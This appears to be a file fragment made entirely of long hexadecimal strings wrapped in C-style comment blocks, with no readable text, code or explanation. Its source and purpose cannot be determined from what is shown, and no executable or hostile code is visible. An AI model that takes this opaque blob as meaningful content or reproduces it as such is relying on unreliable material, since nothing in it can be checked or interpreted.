ad1c18a2a3a89e6c49049222234344f6aac2b452b824b2e9663643d80d3b2fb73b73f290f74989aa4029a6e14410203374c644d04f33e23b9cda2824981fcaa589d4320efa27ad26f9ab48c347b395514fa513ff4c5450e343df991db01178a384ea690b259154af98a101a6fb42aff51d22beae1a9cdcf5cb5a9b4a8712d9126fc6d03a89cad1b905538a0324750ce3fde96120d8364dd2cdcf033cb1d395b35eb089949eb1dee410e71fdfa9a096a70d45f1b4fade72477d9033d5fd05fcff9683e2011bb9f5d0ab2d0938f859a1c874e7bbb0dabf5957b44f39f1bc1ed0646080fd2bdeff95a33385437ab67b07597cc226c892ea7745995746278e0d224b24ae2a59736bc7be81fd1a3ded9715743418c0a4acfa173bdc5517a07d742f17cea9b61ec815732e031030dd120d87486ae0d4134930a575eedfce7baa0b6c4f732e1fc68433816bd8aeb8db015214cd6b8a40c9a5eb1c78b4d7eff07b16bf7080796d69b4a07d617144e328e023e8907a88eabc52cb8bd94000fc70a7a21b3544f9e8f3e03c82c48a0371de672c50dfa46da69c8fc80348b99da48349671842cddfa756dc9c251294962c3b034e7ed44d4e1a9ef989aaf955dff0037c141ddbcb5aa0d84e6bc1a59e80a8bc370ebd3d9f08795cd8b9f42bd02b8cfb3cb65754193ab607e85a73a6b55120b4*/
/*3796f4fcb882945d9c4ea41c720546942bf7e133351e41a58f6669cdb95b3e5795a3efd2a843947322dfb2f25fa76a9b4ff68150fb3cb92adf89d2b498e5b6d054d48191253fea523ca3aaba4d9521e3c8c37d5d2a5af1fdbcb883357dfc3187618bc36be3c319b796d647a8392264e428e795c9004aade72b619c4bde9bbeffc538882201663d19719de0133e68af857d29b250be06696f9ca04a698979c2656c666506d3f49ff93d83f7cb7ccc23cbbe5c5afe2b657ae02aae79193d38b36d02040ddc1c54924848b2199aacd118d316d83d0772fd717cf86ffaaabad3127037fddbd683b81cf572d884fee7c4add878d62978406b02a756cf33d570320af3f0c9aa1c037fa6b0aae23e70dc402437a75d140b71c24382475251f93395fbefa17189e973ce08bf14401bfa2ab7caa0d8d0bee75567e60ee58ea03ff24e0ae6babc5b8c9faba0866828b25c35c578f4d3295c06b3f49ea56ca6b8d51ddf5b6b4b062955270cb57aaf925330ef428f3e03a54624c189f9c19d8c68aa2e26223de9a96ab1afe2a92568532d0358e6a03a4bcf448577b40da46a22ff43963b105482aa3982270758837d50e460e1e785b2308e9d784332017530cf4ebce1dfa807de06c6e9bca759db5674f3df8d696ca3b46fd4572f9b3cf7fba594af16b7e8e46f95ebe8c36f94900c48278f78fa66165b3b0574d9492be6f84f5636a0ebb220c5c9701928653ea37bc7a753154b996dbb29a80feb56c23156bd4e48d0e8e5ad1bcf49b2c9a6834529e6ae06184a8ef8b2c4d1baa4b0934ae6411bada5a6390bd3dcc0c3bb5711cc55ed75c7c41c87c975599636578d0a7d9b39c72412c757e5a5c04f631d85ecd8571fdefd83cf67d262e9104b933ebce742f7cf269e52524c47e0bb9aaca0ac0be52d8888f66198ae0b8ec1a4e131380ae403d91d9c084e77c58cf4d0a18c8bf64c92f468675cfc6405d45e1c02318c5c6759ab78547b2b297561496327cd4fdfa9ffa060971095d62febe3b4fea4cae3eb2cd4ecc0c032fea87b80bcafc30a82fa47ef8ac139d615a956bc233b32ca5f8795af39c5b8d50be07f32255452a954fd7df3032b81f4b472ff26a1b84fd04931a4f0f89a13b1b0bea8c23a11f65b574edede538370ff3e0b693e5fdd391dfafb004a1eee54d9ecaa5f93b092e002ca3f22ff105507f8744b9eb9cdd2253c978a42f61a6151316a664941158d90a1c7c01ba3718a3dc73b0b91dd4e4b6700b368a09c47dfc5bb2d6f0b79f5035d420f7344a97ee057e241880cbf9e337089634cd0f7986473aa8853949081e03dc043bb25eebafb39b339574a330d008ec3d152624bdb6d9640abb0902058d7d35ba917063d902daf34c2ade0c712f358891883ddcaf99db93cf4599731eea40c8edf1abad4a5770c1f0ee45b18cd3361a465e1b42f39c0dfce85d6d40a8bebe0c140626c3062ec8bf6afe20fc13bda5dc0d1b09d55e6eff1d952b7ac0988f53214f563424b44dcc9ae8c5c191e910e8fce11ef6077e81f07f795bcc8b3b2d11e65e2044f777caf9ddd72746a3d80f23fadd84d07cccd005e51025dd089e7f132a4b5d3e4cb3a798694953f5b9544b1126b77e2f430e2f8e58c3eea4404294a28bb17f416e0f2e99e2cbf2b3ed41367b4b43924ce957164605a9c65ee4ce9c378b262d3010368391dd5b321d951f27fad2cac95f54a2c06eef4c0a47301f295ae93109f1514bf3143b2679ef5dc90bed1a8747feac13e2d8cdb8ad6fe27e53f2a5fd7bcdd03a87f91c03878f35b177474e6d1766c494da5447b9eae8fbd738b7e3f1772288d3ef207df9c89575495a1f26c1118d1845b11f23123fdc9ab39c42a4f31435724fcd8c8a864146273e4ee473cf194984dd87494aa04e42ed7c1a0d5e60defb20d9d8b2c12eca9bead8171e2ec38eb2ee7eb4522f19b685637bc74bfb1b3be4ac5fde065a84e8dbd08b9a966c2b661aec5b32a3722d5839d5d725bd2619b391cc573593d5cca0d137a4b781ae9315f7924d97f13b350dd7481b6ed93e3c9c2a8a13f8b4692b8c1c358e60532587343505dcc37535daa56d9505aab2fb6535972a1b58531726d14b94dfa0ed5e49c59b473b07518fc4c03486c62b08572f46c65142704c06c35095ea97ce48f4da9a86513b05d7ac4d4a6f0c840f156ca8ade5975297a213b453deedca8942bfb8223e885980e61771b3a95cfdc0cfb6999608cc9b9b795e0084bcd283fcf45aaca70bb1a3964c6f9d78e26c6814f6de07f826cd66c5d3ceaed6eec104a76ca912b61c857030b8b596917cbd63712932c57fc9057a66ee8c7d1863d858a256cce78e9b36e28e4a36599b63304949e55c7adb68e7d4f6fd4f8018e06447caab31971479e87f89150d79c6b49961d3b3e6b91f2d88a58523af5d92a6adeb9bb28d3d1714c583d50d7ca99c5418e50a4dc20f4b855d4ba408c98a8e19e582a0ad756723d888a2bcb6bb83064a6b065b6a5ae8fc00f97f1a4a6a71be492f7586f060c3cf8a86ecf02ed3beb617490658f74d5939719b663a32838a6c3bdfe8bb1287fccb2437984ed20e005c0cba36b1ecca4886c0c7001ba4bcc0cfb45633601cffd757ab9a025e189546a0a69ebff2b21fc10ae0fc96afc18866b67fec8dabb49e825dce86f6ffcdb544e5d9c3607efa34827c6edeec371736fa447b60b5c43630422439234bfd92eeb9f6d56baa69b6de98894b6b0c81fa8af683dad9a8c5686605e443dbac3cc6163351aa3f0529cd97afa300b5cda97d628b8dd6e9ab7ff5be532a551691c598efb40e95f5e2a551a64c16bf51013fd55995c*/
/*ae15ee983966ee3ab586bd3a4a62cf52b0b1cfe190a7d525708af67be37c83189e502189a8bf7d833bf3cb459e39563370362e60eb75c58c0fa17036d4965d840887ce3b29ad239b08c03638521e186c0b79fec4d1bd0af2b2e8556ecde09255a20dd9b03f78400915f711da36ba8d23e86d277896e5b22581d11dc596372092fb5cbf715791218afda2e8f938233e83b5cd751ef0d4fc17e5390d15460675abc7f73efe4cc8f0311da0fcfed2e8d90f7222dd3755287ce4b03e4abcd42d369336f4aff91c218538dd77bb5b483857ca0fba62d29abc1955d5c990c2a12f0bda6929130f494b40518f09e899841dfd2357df5702fe8700a96ab125d5993bdf4eb1e3f9c3e440453e36424ec64e7a218315cae9839ec04e3708a24ba592f7dd43ab64ae986ad384a024b56ab6258f0b2e449e849569c74bc4e90cc3e871e8aa4a78c1bfb36afd23884949aa7522c551b2eee554fdc3410392e994f7078cbea886f60e7235ebf30d3b0e1ed9c630c69947d5985aaad0ab0c4da21fe7ced084749e8c32a88792d1d375f08e969b8c2e0b641527c0773b74afaf1daca8b2647c3cb1f326afa64dd8f5ee160a53cd249c9afa5e9cf1659cf9d950bcaa93ec2fc9b9812ad7d42a558bedb879b288d703683d9b8f0011a857e1579fa86cd080631ecfa71fc912aa03e550adae7ebc7af7975ad74296a7f84d4609d705e862762d644fab78ded574499fd642f7756dec1a2c2ee16157cf0617298a9c91b83484ac2dfaa1f36a42e88cdcee978ee29990c84a4e7a359faf9344e5542e509e17ee7e168931b9aeaa9bffc62b317d6ebd8b82696b078ab84b8a3de77cd0ae72e8feeb7fd6edd304b44dfb5d81deabbf7cd68c0feb1948e9ca4d0eb816fd37a3a2c82d11c5c39f1ef59955e17d3d422132a7b4fa28d0212dc8a9dc3e277d57a5ff12e34bb5358a04d75452cb84299aa006c9a1d8d7c0277de94ad86dafb3bbd7e609a061d94fbf71edecfaf33393ff4ae69bf82d7dc3e1c03e3288de9f808d68598aad19dc756465e9e6936e46fdc4417c5aefaa81340114be88c2d0c2ec7099e872a5e2b7d85a8560495195d786cfa6f6a17cced78c950ab4cd7f7595986a2449f1e921a5aa9d420e866bb17789764717d3f6afd661434d8e95d7dfc7673c59e706a5ffc8abc7e43c8bb5109838dc40da874b049fdce5d9bd281f8164b7f35653eef14628085c2d03e51fd554fd638bbd168c334f0ed805c1c0ffca18bbd9de8de1226f3604bbaca6074131546f9cb7770b8db8be549785b6e202aac511534140475337b6bf5e8f591dfe91b3c2c286d0b7ba62a51290ade3f3408712336fd9d3f929f59d0b8205c7c74d9fe07a87d0916b207aa4bdcad709c6eb80aeed9e8a4b1961599d8188a006178bf310f2a39449fb0516e38066426b32b09770a9f3fe62d104f7ed2e8ec6e93035dceb349ac3bd1310609fc209d5eceb3b1e0fbd3a6b8437adf9ad84154a1b7b3a692576f60417b69710587c3526cd074b9866d2b395eb25cc37a4f6185d6159dd129d7f2e4a950188a76473378d9f0fbe57217f34e26da3ed5580aca6f9430f5526a11782d562c413f941fa7b8f29cf22d22953b18243c5a6bd20e527d46346c9e2d8fdc00086b72699dad35926c155931152f91d56fa06fee8d130636f37059d867472630a7d34e37264182f1992c73736e13c427e16f51d311d490b0ea248b78490771508385f91139a8d0df9e9f4c3564a795deb13330b87da6e5c3527342d1ec58dd3e2c0854709fb5b8df875be936f300b31ac2060489ef2f7898917e8f9f0d86e823007028bc6b3c43ddb37bd4a0ec7fb3480929bf5b4fc78ca87ea7b72a1511723e4e78f3f4568840dd8c56e5cd65c429b79d4038ebfec9239b0f8ad41a07b9d89e7c13c2cf55b06619198d1157a282bfc83f0ec0cf329363a131fb07de0faee2272a77d5d06a7325ea695998d26d61d9b8daa1c8116a3bb857f11d62c59b7b54c74570c874ef13928778c64f2527b0f9e328487a58fe380e7214ea04e001842448e69dd40c11cfc16665ff4cefb69a18b0d9cbf088bb26e2b051e50936881a88f8e1cf5f2cc051def283634236d7c3646aa6fe27705e2e6de7b3fb3e46928805e828ab764562fc944ee31811be3aabbfa0976b65f3fad174c95afbaa43a3cadcf4b95599692aa6d03fb98b979c5f745abaf0af1b11c67673e0373d9ccaac8edddfee66fbfcbd8a016fe9438a930c5994f55c1358d9040613e09ca287bc9a0dcd94a901c010e997053f59646e48c66c71db500f7fbab3d42a81ee71e6707c0f4cc5294fb2254dbd68d4e74bcf48af5767a690fff6d5f0500f3d7878eaea51c74a3981a19f1647dd9883a45b329b22e6ec6a214ce32067940aa0351acf34f65f65864fa08a856425205cb47927b8a671d8a8e039f47d5210039820adc83f79c52dac5b587f7c3d7ba5d669ad2329898007cf1ef15f926b787bb4320641ece9f182e20e48dde2bfb36f9398bdf2b437d244bb495b24aa9e991c2c13877a74098dcc72d332158f73991d0db98fe4c79b83b0c270ccb2be451e882b2678ba70241110c3e8342a5ebfacda6c373bf95c45d74ebb534c92b4cdbc41c342a0c8ab993bae39b086dd5048ef4e5e222d4cb601dc96b1e2cf83984f66b761573d13f728f43d26559b9770ab1a52d9eeb2e439459a20ec35fc7683b8a1dd6ad8436878545affb8ba92f4365a5256be8c05acb9e4fe8a041c73aa92674d5951b8a9e12b825e963a7e35728dc67753ba9118af1aa40c78467cff0ff5e9af745a61ab0a260979653a81b873e415311*/
/*cd905a77e0d5badff21ab729abab3517e3c70cf878807cdbbe60a03cfa94fb08757b12380cbfa70e544efe6620d03828bff111b9e63cc49cab8f756dd5c1700ca7345f5bce62815aac656534a76d976209cd6c2391b1d75e0d1bdfcc6917e8d19111c7388005bbbd8d1cda60d16b6902b1908588e5a133f3d7729f73ee25dc3f97fdcf795881467a36adee4e6688845d4f0a25e794652a2f19444cd4309485efc794b27dc7ff4b78af83fec00a8a237bc8c6874e55bcc751ff8e0d8ac512e3c2dda94a308de44494cfb4b317a4d7af76658d076146dbb686a89232668f5209f54818bc55e66102d0b2cd2f1422ce26a8a1d49fedc75b1df4b5f1e6dbf2edd6172bd989dd884a356054c9f68d3ded22ea92d6920579e82cec6f6cd7469889db26418455e687dbcb7828c5142bea4de16ff3ec5647f2243ce8729ec8625b9c7221cee4693d995992fa4343d865d91ebad033f3be30003912680be003c8203e6a5dba96f7eddf8de9eb7b01871f80e1561bfb26299b452011d9483f12d9eaff6334414f939378540b2b0bba62d76db5f2ff173cca83f326a27d336bf21265af83504b47a3f86b0a47ca18642ab680b1905207e25af4a24c6ab6c1e8ed54c88f9968fd04a8cf863054e96633e2ebed7da92063abb52f13d9a8e1a9776c90b79081b014de35c2cca824e7f782464803e5e7ea6ec53fb219a710948ff377f3a0b4cf41415eddc1e8f4816ef4199ee490e692d147b7122060edd327bbe924ce4a146ee128546192f7621b774d973c9737ddfc4237c1a9cf1ea0a6f83a6f6609a72ebd09c737d0df70d5068d739ffa70e747585251935764da25e75e5de33080e7e12bfdc9595dc94faef6f3c84825d53372aaa1ec32fa42fc6d43f069430f9dfa9fa5f392cca770e5f0dbfbc5a25e2adfcbd2c97b49821687d1c810a8fe133cf1d681ba8034c69dcd2f1658f0eb620a9f9393689edc642b3200a68ed10f3f25254f3e6a3188421c1c9e327f6c76b35bc8f02ddf21e35b6b41af15452d715b82253c2c6a8d494ad84f5dbb7a150a88bbc2c54c7ac9883818a6e1508dc448e4bb5ad7cf1d7c03ca689684ddab50cf72b221ef96ecaf19805cbe63f013ccd97bb4c8a1012b4c6cc8370d0abcb06a9154f74aeb3d239a1e41a470be68007d150b37116f3df3a77baf8653420ebebbdd33a16fe7a33ebc47fb446f509738022c677946cd3703c12c1b350ad179862ef8a26d52bd104d424f45028b34ee6caa9eeff3523be349f2b2530ab83e61a09d824ea7fe78a91ee3f42c3af9249e31d8b6a531c6e0ad5855750205aa7b4f8ce476de7696c4c8efd0895a3c03abe5f6c92000b3a7f038a30caf4a4ac9510fafdf4e729b2644740c527e23c39e709a1446bd7e58864bfbf1299d3653697e5ee95828565a5bcc7c51a204ad70442d549f5d56a70b8131fde366155405424c8132e9e37f3f2f9ff57ea979331a18a23b9be82ac3a4ecd70ee7623087ecc8af41c75aff84029991c24313a3f5fe8beeaf8fe60fc24a9cd865c4bac98337a75e33218186a43ee75047a7a8ba1f8acc0a673c95aa790f7ce780d3a34a96c4a419a18a438298bf8e67d88e9861b615bfe7427bb867bb363942cc4d99c51d8a9d8298d6d628c60d27c65ea204e348a3cf9ded38b0288bb9d2f6e54aabadba4ff5830b14a4baaf0c1f87c9f09f952b609871e4862a2cd74724dcde551ee1485d57b5438bcda1c61986f09392cd4e67503be9d961f6d73d302755a5a813311b0c0ab782044a3c8ade19f2f5c85c0cf068f3790cdabfc13a7a34cd776a1ae2252ed211ce2b3b31df93866b7126c41d3df190e9e2b13a8e4bc4e0719d417dde83230ea3c4acb05f9f330db1b65f388678208de7bf9cfc04c6e35906b89bff42be3ec97bd4ea4310f2747576b9fb739485065d28aff61428a052d5ce1de03b89e110f7cec3baff6748eba29094bbed4f0ec3a3aecc7a820ad77fb28e0186abdd2a4a5e495a777a65d2c9c423d89db30f542ad835dc6d462bf345921d238d6e21ad53baf480ca9150935375c76ab32cf6469de9c21816d034f73cce3e2c21d7d7120897b452a19047f884384bd56fb42611a2496c702c5461d4a0737cb922a0cb0f09b5e7ba8e931edc1d90eb60a11fdac75f12867dd2851aaf05d3462ae30490296a1dc377ae08d40d4bbbbfbefc004d99ee1a2cc9248c0ad19714ada4b2bcb1f283d9356879ea6264ac9895108efaea51cc1471c2b3f03567aa693d13b218213ce9ffa6de9b11f05c20abe3c78a1076f8dbece1ad3a933f3c32754fdf2522ee4259734f7de9f320d3def0868d2ffa27611507d82ce85c5171519236d48f04e80c0b98bbe46f68197d7ff882c7dc479ae47af787255d131a5e0d6206c57d92e4bddc0a788f833b8e618916c60d96431a770570aedd57cde45b548acc06f7244626e6afffa689eca7ff11b899e6eb42090605a5efb1700753c31c6b04ec343e984ffe3475886104ff26545f0e1b5a3328e68afb7aa4a90ceaa74f29b05d54cecd7adb5853af056f97d87f80067a7079c95bcc26f1013bee1edc53f1c163af07208aea0261d89c2d42def9e556c5103865e17d0338dd03bfbde50897f535f90160bb28215e22879297576f5b21765c2a96b7a8d14ed5729c8b303bbba23800976140149cf791609f03939f436d3aa75c8fe3801a8aa7211c18d1c7dc978809839a0e503861ea9f4dc848f1fc1a776352a56f6b14d5492642f9c807cd9ac4a581c7a01c0a8ee1bfa45fd0f430199bcce6290eedd8b15267808d8ab019b39d5073d96aab3fbbe5b903b6ca66de153526*/
/*6fecfac00975655327b3dab439b0e2dc211c07ec6f83e7cfd9dac5874df8b5bbe284baba779b729842380d474902558c2d7c2734167fbaf387a94d4d3a0719ee74e319afb7cf60bf29959f4c2da061263d119959a6cc118b666cef342f17845e53c86a684970a1cc63298f789ddc557e50ddd45cd53179581532f4d61db113d3adfcf117129cc5bedbb88acb2cb5d7f5d33f2379e4a9a07aa5631095bc527c8bff021c714d3640d92f5c06c009a8d77a90dcc3a94720d6d335544c4e15d7a8fb7eaecc3d50d3056b8d3a54c7c21537f3194b578ef38f3f5cdb1d84f5c51400802fe3b2e5413156b33753ec0fcfca7db36b714dd7901cb2008d085c092bcb5e5e7b4f629d198cc246063e87477fac39289996c7ee10c7d764001b263e5ffb15d3a0f73f81a47c6cc0d78e1e66e3a661d2b7e3d2f16afb253a4c0f96ec7e069210880dc4c70828560c2955aadc4357aad81ab966a191f406bde6ff5891594578e1c867b532782cd960eb498eb1ce2f3439b9085441d6714f6c425bc058eb73ebb3eef6891232c9ef0934d9c068e71d44b0e0cf3234163fed6a58a20a6eeda8e9fafbb7fa49b7e2042d47f9c8d09096580c442c38a78b54493f30ffffd78111ae24b858e1df110a278d9272efcc51990a69d1461f127929c8e85987a28e90550d93c6afd77cd38fbe191a46207a3e019f11f14865bae69f2c182aaa6a7b7e6e9203acd5a2eaebe81d860e20145f2039725639e4ef1f6c025f63c52914f723cb5992fa9b9c875e0b243601f82443cd3361d1790a6736cab53e89e61e0769f6d115ff8ca15a0a4f59e45c76adb71cc16ed79ec55500a7ac37240f832b0d255f90a9a31247a6164d5e27044050f297c230504b3d2ab15991aed7536d18f1cf3e0f26d1847284eb580b2021fb3d92d6ddd211bb76b440548eabf73eef3c9f8523d173e1c25bc10481e719e97086c8e70c403370fc57e01ec03e7ade5ad150a7cadf1852b23817a92d8e4fcc7cd033063e2a084f9f2dcd877c80c93a14b7e5b9743f5d8ca1888e94422a4045e0afcd353f70a54f5525d07c7b87fb30a47c11a26543453b9d9c55fe41087800cd6991fd65464e7601a1d454eac2958ba151ea86b70a99fd3d5a0004da31792d81b574745940d66159aeabddabc5b38ca0ad5d5944fedb7dbbed77380c06f970390d567bad50efb19676a2b473ca4179b401f36bd121bbb8ad2e0244ebf90bc138da06cc679ee06daaa0579e95c555284c9d727ae7ba38e4defe49bf0345c535f8f764e23e2695460bb6d2efe4632346891c82e37370d1af2cafc23db1ab1d2791551fa80469725928e56c81e10c763f6115226b235bc3de7e8e4535a882834a986fdc55b9d5ee92af3a3944ecefaa99f906fc16edca2cf1c668f9284ed68b0d54cd8e045ddc57d9bd235ee38375c8b230eeddb738526e2fb1ba089718e5ba9dc94c43f7d869e9b27fca8e04b6f587b68e85d0508a660b00eb31aaae004ca5240de7379e3a89d4367d56b5b60a6990f791ca27cc57adb74b18c6b165ca363d1ba6583803e67d13476acd6885788f7d47c584ffcb9055da721482e1778f6786aaf26236d0111cd08c189bde51cf5204e5c0bafef3280abc728916f2284355bc61b323e19261a187c3252ade98c1c3518a2442140d57cd97d2e2ab540b9cd9288b9974c77021dc70fd88e4a89bd798888a6444c6643893cb86f14399fd10f01ff0be27d624d66ab0ddc2862b5982c318cd9f6f31870de3089924415c10be0c43d1cc5e7fc4e96bbf9c5e878452cf4d36c4d463601311cd465cbcfbfbe746e8c86010e3afedfe7f36c45d29947b5fc8a661a5f7204a79ec069df4bccc8e45236413a3a0bc2523509416330f47fc520fc42fbbf3741163f0692f0b30f5c01c5157d73d5eabc1788c07a26af50dfa8573ec7ad3eda998862a79ee1c04624440141c13a3a48c52fc22124e726331b37f8b16009b5872be64deedec2e14b6b1fedc814c9afcf2cdce7c3bb8d79f3e793167d325b9f021c04a38aec69123e28ed82bec6844c44d3d882353f5cda1e8dfd279d1d7ac5b2f0592cd307d51c2c5f8164c4b91332208735c379d56bc9a5eb1a738ab58bc16adcd8ba6ed6b07a21cfdd387e3499de7da33d8f99b8eaafffd27381a622a0fe10a38f569fcd9b9845733056c647d618bf1f0ae4192bd891999bb89de03e1d9e913f5283aa305b8a2a2e2ef8a6051d9671325fe8194bffae1537ad517790b41af2e42771425b9a6a0fce5c92074ba9bc6156543fb13e4dacfd76dd51991bf9e09066a2cd9882c93e17e28d305d0a5b3f68f1c60bb504be5b3352fd180ea9fce2593ae7944362a90ebc7a6587f908171214840e49b2bdb35e8d6d00c302ee25e336987a318484c9ceb4c5df7d3953e1e81c213f0f04277262a02f442c6febea4005a738309a7cce4bf6fc6351d9efaa090573ce03ef3a156f370e2201e871393da28a76b8eb5c56a9d9b863947a6a3e7b4f69729e47e623841be853d4abc3bac532ca72beafee736d6469c02794ba25469305d9a12ee0570d3ce47c420c3f30279b15a5980e221648d9b297a3765d05668e5cd33886ae876c601817e20e6d3d07f2ffb87e49f9b409701d9ffc2abded942da5ea4171c0a3a19c6c685ee6fb6217863c57cbd278e554f898eb3d8078a0bc111362d1b471ffcbdef8461b0bf5e97398bd75fd12d6da4bc3d803bf25a7350a792717e2ca2d56073606a892ee5edd7a565a0e1bd5b460c30050715d3cbe3e70049f98c8413d8d84ba95170b1381117f2aed5b95387e010f3cdde19a787b783946b07ba72ded1*/
/*9c9ae8bfe99503a2fef33de7da353c722e58c71847091c010c04cc5f36e40d9eca302c505a7fbdd9e66f2e6b09b74afb388d1af74a9cedc1cca3cc6080512ea3017e6faf029c09e03190dbb6b34bd0c9a262fd78e639da5bd3fd223590c03f8da1af41ad0d33348192ab33957b242b551e3089ff894b0f436085ae9d93248d9b84da62c49e02cd5bcd801ecf6aeeb5ed9def92e6cb5653ffa8a47c00b51784c3f017ec13358da5e0c1555201138b4011697e30d06e76c5aa41213342b05d0c9c0b93b1208b8feedff07a5ad16bf04f8bcaba3032f2524989e581d61a66c94c79a8c1ee5ccfdd918c9be39469bcb3a5c9bb0fecf1d6aba4cf81d3500a29f8cf6fe19cb9d32f424505c2424bd648f9f3feb63c168af8a429c842a5cc5e9512da28bdfe206849e0522cc81b3fddad8bf1c24dbe47d4bd7cff99d6bd4216b6b27040607ef02f4618a0f2cb2e052d096d0ca78161f859510bb0424ec8f7861097d83803d3302e2ea5a08938abb8f0d5a5404ccc80800e4349a75b208e9fc97dfa4c74de8c6e68911fd4969e8ea59147a473fded3cfc0a9b6a9e7643a8fd20d3a358899e4b77dc8127e4949f3ccb5a6101367d434913f2a384ecc0a785efe57ca16e04b58e77f98b938bf0469797e0152588c4ec6021e085d463fddeb9ce5bf4b33d2a634002e60e88f33c74d83f31fcc89a3faaf5c06c12f1d0223cc130191654aafad23e1821dea8b556ebd6a4290b94f583666768cb984904cdb88bbe9287fdeeb31021011e6d5cbb1c8fcddc2df259e599ea314d5c69651a7193014591e94e07228a181d7bb6f1d3e0aeff5543b993deca690f575d900c57d371cef607a89b0ea4539eaafb9fc1ba50fc48dffc8591baaf2214f861d95757525360fef75f09fe82e65bce2e166091b5193e4eddf2fea69408fbd5785a9fe2c9cff78ad3493e8226e550ce21d06bed3e7d634c6370d2c28fd77173a847fd01523ab7474ce1ad2a545324ba7200f726ada7593e21fa4d0c723f00bf415e35e237318b36e5015d0b49a3c98d670014f2658ae6a8c7847738c5c37ff3e91d4fcc8c2078f62e643dbfc82e5112e2f812879fb799a63103bc2385e3cc2d0d255055eeb19f251bf36e6aed693596cb0823a9de8d91cc46cdbbba2d51a4f630d9f42e88e3fd7c20015ec7759cd2cc27f862047056ed5b3f2eb17dc1c502bad23e925fe474809f2cd2a380170fa58aba1f9d7fda3ee5d7e4f9eb09b6bf4ab251385f784caa736f0a71628ae202e5d26d38356068a9781b270d411d3c039199621166fcc6f851d3d00a923f34e60ae4e5a91f6e42333b0894a449645d000c7f92d1befbd29f8aa0f28f200b5a74f025c8f9378bb50bfa9fd2d1fedc1b9cb12e694c0cf986db0d75c8b7ce2a87ad9bb85dd26aef3ebfbebbd6409c2d01a064c7be66c8da2cb178d61b56bf0dbf0df37e002b575903e4322b5cb15827bdbfa0b5ebda0ddba3080223655ecc8ccd9bea5b6748a3ad9c8fc59e6066e954423bae51308a3f6dd909d455decefaff65bd3170181144ac85c6e7997ef57e9183afb9cc4d96025ff689921186714da9040ded28d8da0b48a95bfe3db033e996162f6e0ad80667f02ec2564a2fcb72f26f442b9628257fc6bf6abb90af8b9352c9a2a437faed2d2498e6a479f97fd5d0a497ea79b1119ea914696eacbbda8aa6140d87fffa768212138f6f0a422d935f535894e14c46be49a3fe4a3db67ecc5bf08e1cd6bddcd50560ec1ed8d65dc365661f256dc2a6251a255610d12536b3956481319d48fc5046d825e45a40f075c0003d113ef1d4a4c0e4626b2fa1c0eb09320d6c22c9f8403c3768ba21105149591b00fc01770e65133ec8e5153bcec742a5adcaf9e000482fb8c0f7ab1052d71c20c7020099248c664d267ab93db436b73dd16913e906f4259bc2ca1ca5dd400312793401b23ed64ed8118e7d75d0874d78730c40eadd4376ce941640d0f0968eed8e7baadff48578208d982177c507107815ea8458c529c17d8c8d2d03f35c7667f71383395a93bd354bd57d7d66fec36727e518fc2a21bd5b5e25d82d9eceeccc57c39904f530445d0642147ac5f07334dffd35b760d4b1eb0bd70d1ab422ccc6c2dcef4a5ac1adefdd8a8dc69e334594d35f1f99ebc9b421132785531d92cc528bba2e9c74a57b391c4298b8fcf73eb27257d2e9a84ddd6bb68a95a222ab3bdf38427f00880b8ef96132cffbc9d2e6b12af44971b61ffe697339d4b5c644d3ef61578b97d769097a14c08367c1fdade565cbaeade105162fe4889fb1c9310329870053101953f79764d3d10044676980fedbdcf14da361f6bef8dbe3e311f4795fa809aeef715e4acdffc59c298e46c518792fedee37fb3e7aca9e613fdc22af424b0d5aaab0a53b98660f1e7a32087cbf2a4b782acd6739593941a84fbfca7957ac4b5c3fc8b3b9e8124f51ed567a20579e13a384c076826121987dd5f40a2e3e215131b02ba0e015ec9b18b2e06de6738efbf41d115f08a26ea4226c2a700ff3a7cfe297f21d9a785093f104b07f7c82c64ef816328a8f07a5ae2ab2ef74de51472f0df4aad06c9bfe34b378fd2795f10c53e5ce1e06c6c9cb48a425e2f3e029d0fc7fdba615f85c05f0b32532e14db76831626e0d35cfaf19df65707d74f7fca23ae3227f8b52ef3bc37285453946f87309748a460866a1a0d0ae43c1126fcf3d33c5e9354c2d202d80b28b38f8adbf3af30faaea309386ee7ee7aa0e724429ef0225446172585ea688eb499b92fb20e83e06e0dae39ae71a0740a29e246824f160c09db71fabc2445f4d2422da4a*/
/*247a4b88c0bbfdc5e5c0e4a1e1a1ad52ab70fc001cefa971ad246e89f2cc36b02ec27408df57536b9f79b019454950b582b90c2a04138bd3dce0d28e71e1cc6754af547a3bf370c822daf54fbc20565a4800d10d811f6c81f490f6b829e43bf5c4a26124abc2773b67a9ccdf70e6ff6e7bae51e9958b9a7c290e8910d98259bda38e2dcf7880eedfb85c9839c67708615f55c923e412487f022b1b62ae7f0fe4379509badc8410384ee3a22a68a26e2ae10b9d89910acccc1c12b3fdd35cad12767478fe1b3f35031c200f1dde119aeef0e65757f24bc7004e746cd953ea5f0b26af257f4f7500efac9f523826a7ec75e29cbd4956e9f838ba10beaba633bec33bca3534bc737d6ee063f1efd7c50c77d80a99167574106638310d0d71bdfc50bc0626db2cc8e74e598e2ec47a8dde278552d3c59d165828d2dc9ee825b3cb46f505e2c35f4efab992571ea120c722fd0ca579003e7aa551035fcb92df9203a10a436ad2c2af3949153bd0307e842804bd3f5eb12846ab3ee04e0335a52d5d12dc47d2fb49109d348b29ba9f12a4be27ab6bd0cab6db8c868911d08fbc7c88626a0fa7f916bf5335a6d767d23aacb65bd8b647be2035b3bd17825f94bfccbc5b37ec35c5330625061bc9caaefeb90a06576a3cc1d3bf2d37affc7f3d2a3784487edec50ad21a80f55242d7c6d984bfc1ac0e3b6b843e911d70a07eaefb14ab0fa5848279563cde2445b1b4c9e51fed0f472ec5f86edf9d4b171acb5533ac597c0c9455198149f60f757fc78970f51b1a86400778443ca13052966f49ff0dc2dcd28367228f243d5e8c86edcb515676bf4da4a8af845e5ed621e4c6156c77f728d1e22dd3b505f5cfef2509d4d79ea03e59c9f40e38389fae9f882720e389601d47641183e08e703ba3451d4207f48e59c3f9276c39867983a477694311911a45d6e90f2d36189a9f505bded2230ee3012f1f680bf179ec63cfa3cc25309c3b91efd61a67dd9b01f5b1f3c6a938f8eed313c265bc692ac1d1939ed93ff993f3e90ce255c68fd25acbff9ad41c6a362d430ee55f739e868cc5ad5c388246c3245f19359bd69f11cd0f1d9553f9f4e6c3dca7f14e0d27521efa904d948ff7a133e08869c80e84d919d8d4044f763cf5ec28233b07c485ca85b18650eddc3dc00aa9b26d78dd628f732802e9462c056db310c9bd6dd7aaf4c533352f4fadf6527606ad966345672c0f96c39618036dba54ad4fe47d6bbb9a1f25611da46c75abe6fc3cab49d369ebc17db9bab9c56c584b0cff2009ff0f4f685776276c8bbbe03bcff62e526265d1c4aac64a74cb5070922f06b